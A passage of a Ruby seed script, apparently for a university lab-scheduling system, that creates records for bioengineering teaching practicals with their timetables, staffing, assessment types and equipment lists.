= Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"308\").first_or_create!(name: \"Enzyme activity\",\n name_abrv: \"ENZYME\", archived: false, in_drive: false, user_id: 4)\n at495 = ActivityTimetable.where(activity_id: a495.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 75, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at495.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a495.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a495.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a495.id).first_or_create!(assess_weight: nil, notes: \"During is data interpretation. Post is MOLE test\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a495.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, micropipettes, auto pipettes, balances\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a495.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a496 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"309\").first_or_create!(name: \"Fermentation kinetics\",\n name_abrv: \"FERMKINETICS\", archived: false, in_drive: false, user_id: 2)\n at496 = ActivityTimetable.where(activity_id: a496.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 240, takedown_time: 240, notes: \"Needs to be in the afternoon due to set up time\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a496.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a496.id).first_or_create!(criteria: \"\",\n job_desc:\"3 mini experiments - Growth of yeast using 1L bioreactor and ivestigating oxygen consumption, staining and counting yeast, measuring CO2 production of yeast.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a496.id).first_or_create!(assess_weight: 6.0, notes: \"In lab assessment - this could be formative.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a496.id).first_or_create!(cost_per_student: nil, equip_needed: \"Bioreactor, Spectrophotometers, Microscopes, bunsen burners, water baths, balances\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a496.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a497 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"310\").first_or_create!(name: \"Bioreactor scale-up (Fermentor)\",\n name_abrv: \"BIOSCALE\", archived: false, in_drive: false, user_id: 4)\n at497 = ActivityTimetable.where(activity_id: a497.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 10, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a497.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a497.id).first_or_create!(criteria: \"Culture of microorganisms\",\n job_desc:\"Supervising students in The DiPP\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a497.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_none.id, num_assess: 40)\n ActivityTech.where(activity_id: a497.id).first_or_create!(cost_per_student: nil, equip_needed: \"24/03/20\",\n last_risk_assess: nil, next_risk_assess: Date.new(18, 3, 24), tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a497.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a498 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"311\").first_or_create!(name: \"FPLC & protein analysis\",\n name_abrv: \"FPLC\", archived: false, in_drive: false, user_id: 2)\n at498 = ActivityTimetable.where(activity_id: a498.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 4, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a498.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a498.id).first_or_create!(criteria: \"\",\n job_desc:\"Protein separation using AKTA FPLC system and determining protein concentration using the Bradford assay\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a498.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a498.id).first_or_create!(cost_per_student: nil, equip_needed: \"FPLC, Ultracentrifuge, Cell Distruptor, fluorescent plate reader, absorbance plate reader\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a498.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a499 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"312\").first_or_create!(name: \"Gel electrophoresis\",\n name_abrv: \"GELELEC\", archived: false, in_drive: false, user_id: 1)\n at499 = ActivityTimetable.where(activity_id: a499.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: 240, takedown_time: 90, notes: \"Should run before Western Blotting\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at499.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a499.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a499.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins by SDS-PAGE\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a499.id).first_or_create!(assess_weight: nil, notes: \"Report incudes western blot and submitted after that part of the experiment\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a499.id).first_or_create!(cost_per_student: nil, equip_needed: \"Biorad gel doc x2, gel tank, power packs, balances, transblot turbos, micropipettes, LEV, heater block, centrifuge\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 1, 28), tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a499.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a500 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"313\").first_or_create!(name: \"Glucose assay\",\n name_abrv: \"GLUCOSE\", archived: false, in_drive: false, user_id: 3)\n at500 = ActivityTimetable.where(activity_id: a500.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay (Can be 1st experiment in Spring if doesn't fit in Autumn)\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at500.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a500.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a500.id).first_or_create!(criteria: \"Biological assays\",\n job_desc:\"Glucose analysis of E.coli culture samples.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a500.id).first_or_create!(assess_weight: nil, notes: \"Data Presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a500.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, water baths, YSI analyser\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a500.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a502 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"315\").first_or_create!(name: \"HPLC\",\n name_abrv: \"HPLC\", archived: false, in_drive: false, user_id: 1)\n at502 = ActivityTimetable.where(activity_id: a502.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 5, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a502.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a502.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins in a mixture and quantifying the concentration of GFP.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a502.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a502.id).first_or_create!(cost_per_student: nil, equip_needed: \"HPLC, fluorescent plate reader\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a502.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a503 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"316\").first_or_create!(name: \"Hygiene Lab: part 1\",\n name_abrv: \"HYGIENE1\", archived: false, in_drive: false, user_id: 3)\n at503 = ActivityTimetable.where(activity_id: a503.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: 60, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a503.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a503.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"Exploring the effect of correct technique and good hygiene on experimental accuracy and biological safety. Investigating the effects of antibiotic action on pre-cultured E.Coli bacteria.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a503.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a503.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static incubators, pipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a503.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a504 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"317\").first_or_create!(name: \"Hygiene Lab: part 2\",\n name_abrv: \"HYGIENE2\", archived: false, in_drive: false, user_id: 2)\n at504 = ActivityTimetable.where(activity_id: a504.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: nil, notes: \"Part 2 must follow part 1 - preferably follwing day or day after\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a504.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a504.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"Exploring the effect of correct technique and good hygiene on experimental accuracy and biological safety. Investigating the effects of antibiotic action on pre-cultured E.Coli bacteria.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a504.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a504.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static Incubators, Cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a504.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a505 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"318\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: false, in_drive: false, user_id: 3)\n at505 = ActivityTimetable.where(activity_id: a505.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 5, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: nil, takedown_time: 75, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a505.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a505.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a505.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a505.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, live cell imagers x2, microscopes, micropipettes, autopipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a505.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a506 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"318\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: true, in_drive: false, user_id: 4)\n at506 = ActivityTimetable.where(activity_id: a506.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a506.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a506.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a506.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a506.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a506.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a507 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"319\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: false, in_drive: false, user_id: 1)\n at507 = ActivityTimetable.where(activity_id: a507.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 6, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Must follow Live Cell Imaging 1\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a507.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a507.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a507.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a507.id).first_or_create!(cost_per_student: nil, equip_needed: \"Live cell imager x2, microscopes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a507.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a508 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"319\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: true, in_drive: false, user_id: 5)\n at508 = ActivityTimetable.where(activity_id: a508.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a508.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a508.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a508.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a508.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a508.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a509 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"320\").first_or_create!(name: \"Making buffers\",\n name_abrv: \"BUFFERS\", archived: false, in_drive: false, user_id: 3)\n at509 = ActivityTimetable.where(activity_id: a509.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 360, takedown_time: 180, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at509.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a509.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a509.id).first_or_create!(criteria: \"Experience of making solutions from solids. An understanding of acids and bases.\",\n job_desc:\"Investigating the properties of buffers (titration using bicarbonate buffer)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a509.id).first_or_create!(assess_weight: nil, notes: \"Data Presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a509.id).first_or_create!(cost_per_student: nil, equip_needed: \"balances, pH meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a509.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a510 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"321\").first_or_create!(name: \"Making nylon\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 3)\n at510 = ActivityTimetable.where(activity_id: a510.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 120, notes: \"One experiment of 3 for this module\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at510.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a510.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a510.id).first_or_create!(criteria: \"Knowlegde of polymer chemistry desirable\",\n job_desc:\"Making a nylon rope (demonstrating polycondensation reaction)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a510.id).first_or_create!(assess_weight: nil, notes: \"Calculations and observations marked during lab session.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a510.id).first_or_create!(cost_per_student: nil, equip_needed: \"Clamps & Stands, LEV\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a510.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a511 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"322\").first_or_create!(name: \"making yogurt: part 1\",\n name_abrv: \"YOGHURT1\", archived: false, in_drive: false, user_id: 1)\n at511 = ActivityTimetable.where(activity_id: a511.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 240, takedown_time: 240, notes: \"2 hours required.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at511.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a511.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a511.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"To investigate the use of microorganisms in the manufacture of common food products by making yogurt and paneer cheese.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a511.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a511.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static Incubators, Water baths, hotplate stirrers, balances,\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a511.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a512 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"323\").first_or_create!(name: \"making yogurt: part 2\",\n name_abrv: \"YOGHURT2\", archived: false, in_drive: false, user_id: 1)\n at512 = ActivityTimetable.where(activity_id: a512.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 60, notes: \"Part 2 to follow part 1 24h or 48h later. 1 hour required.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at512.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a512.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a512.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"To investigate the use of microorganisms in the manufacture of common food products by making yogurt and paneer cheese.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a512.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a512.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static incubator, cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a512.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a513 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"324\").first_or_create!(name: \"Mammalian cell culture\",\n name_abrv: \"MAMMALIAN\", archived: false, in_drive: false, user_id: 3)\n at513 = ActivityTimetable.where(activity_id: a513.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 120, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a513.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a513.id).first_or_create!(criteria: \"Experience culturing mammalian cells. Experience operating bioreactors desirable.\",\n job_desc:\"Counting & subculturing CHO cells, operating a mini bioreactor for CHO cell culture.\", jobshop_desc: \"GTA in MEE, 